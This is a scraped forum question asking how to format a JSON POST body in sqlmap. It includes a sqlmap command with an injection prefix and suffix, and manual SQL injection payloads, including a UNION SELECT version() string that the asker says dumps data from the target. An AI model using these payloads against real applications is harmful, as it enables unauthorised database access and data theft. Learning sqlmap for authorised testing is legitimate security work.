• caglararli@hotmail.com
  • 05386281520

Custom post data JSON payload format in sqlmap?

Çağlar Arlı      -    10 Views

Custom post data JSON payload format in sqlmap?

I want to perform SQL injection but I don't know how to use the command. So far, I have tried this:

--data="{'user_id':'6','user_with:5*'}" --prefix=" OR user_to = 5)" --suffix="#" -vvv`

I use ' instead of " in parameter because sqlmap post data should be in --data="paramter goes here" format.

But last verbose show:

{'user_id':'6','\'user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#''}

It should be:

{'user_id':'6','user_with:5 OR user_to = 5) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#'}

Here is my manual way:

{"user_id":"6","user_with":"5"} -> return normal
{"user_id":"6","user_with":"5'"} -> return `You have an error...`
{"user_id":"6","user_with":"5 OR user_to = 5) union select version(),2,3,4,5,6#"} -> return dump data

So how to perform what I want in sqlmap?